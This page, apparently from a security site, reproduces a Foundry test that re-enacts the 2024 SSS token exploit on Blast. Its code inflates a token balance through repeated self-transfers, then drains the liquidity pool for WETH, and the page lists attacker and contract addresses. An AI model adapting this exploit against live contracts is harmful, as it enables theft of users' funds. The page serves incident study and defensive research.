Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/SSS_exp.sol

Public reproduction file for dataset entry SSS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/SSS_exp.sol89 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "../basetest.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost: $4.8M
7// Attacker: 0x6a89a8C67B5066D59BF4D81d59f70C3976faCd0A
8// Attack Contract: 0xDed85d83Bf06069c0bD5AA792234b5015D5410A9
9// Vulnerable Contract: 0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed
10// Attack Tx: https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6
12// @Analyses
13// https://twitter.com/SSS_HQ/status/1771054306520867242
14// https://twitter.com/dot_pengun/status/1770989208125272481
16interface ISSS is IERC20 {
17 function maxAmountPerTx() external view returns (uint256);
18 function burn(
19 uint256
20 ) external;
23contract SSSExploit is BaseTestWithBalanceLog {
24 address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;
25 IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));
26 ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);
27 Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);
28 Uni_Pair_V2 private sssPool = Uni_Pair_V2(POOL);
30 uint256 ethFlashAmt = 1 ether;
31 uint256 expectedETHAfter = 1393.20696066122859944 ether;
33 function setUp() public {
34 vm.createSelectFork("blast", 1_110_245);
35 WETH.approve(address(ROUTER_V2), type(uint256).max);
36 SSS.approve(address(ROUTER_V2), type(uint256).max);
37 fundingToken = address(WETH);
38 }
40 function getPath(
41 bool buy
42 ) internal view returns (address[] memory path) {
43 path = new address[](2);
44 path[0] = buy ? address(WETH) : address(SSS);
45 path[1] = buy ? address(SSS) : address(WETH);
46 }
48 function testExploit() public balanceLog {
49 //Emulate flashloan here with deal
50 vm.deal(address(this), 0);
51 vm.deal(address(this), ethFlashAmt);
52 WETH.deposit{value: ethFlashAmt}();
54 //Buy 1 eth of tokens
55 ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56 ethFlashAmt, 0, getPath(true), address(this), block.timestamp
57 );
59 //Transfer to self until balance reaches target bal
60 uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];
61 while (SSS.balanceOf(address(this)) < targetBal) {
62 SSS.transfer(address(this), SSS.balanceOf(address(this)));
63 }
65 //Burn excess tokens above target to avoid OVERFLOW error on swap on pair
66 SSS.burn(SSS.balanceOf(address(this)) - targetBal);
67 assertEq(SSS.balanceOf(address(this)), targetBal, "we exceeded target");
69 //Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls
70 uint256 tokensLeft = targetBal;
71 uint256 maxAmountPerTx = SSS.maxAmountPerTx();
72 uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);
73 while (tokensLeft > 0) {
74 uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;
75 SSS.transfer(POOL, toSell);
76 tokensLeft -= toSell;
77 }
79 //Use swap function in pool to swap to weth
80 uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];
81 sssPool.swap(targetETH, 0, address(this), new bytes(0));
83 //Emulate paying back flashloan
84 WETH.transfer(address(1), ethFlashAmt);
86 assertEq(WETH.balanceOf(address(this)), expectedETHAfter, "Not expected WETH BAL");
87 assertEq(SSS.balanceOf(address(this)), 0, "All SSS tokens didn't get sold");
88 }

Analysis

Dataset entry

Public Foundry test for “SSS” (2024-03-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6a89a8c67b5066d59bf4d81d59f70c3976facd0a

  • Attack Contract

    0xded85d83bf06069c0bd5aa792234b5015d5410a9

  • Vulnerable Contract

    0xdfdcdbc789b56f99b0d0692d14dbc61906d9deed

  • Attack Tx

    0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6

File record

Name
SSS
Path
src/test/2024-03/SSS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3bceca9dc04f10b1ad411aeca4749581ccb212f1
Language
Solidity
Size
90 lines
Date
2024-03-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/SSS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3bceca9dc04f10b1ad411aeca4749581ccb212f1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.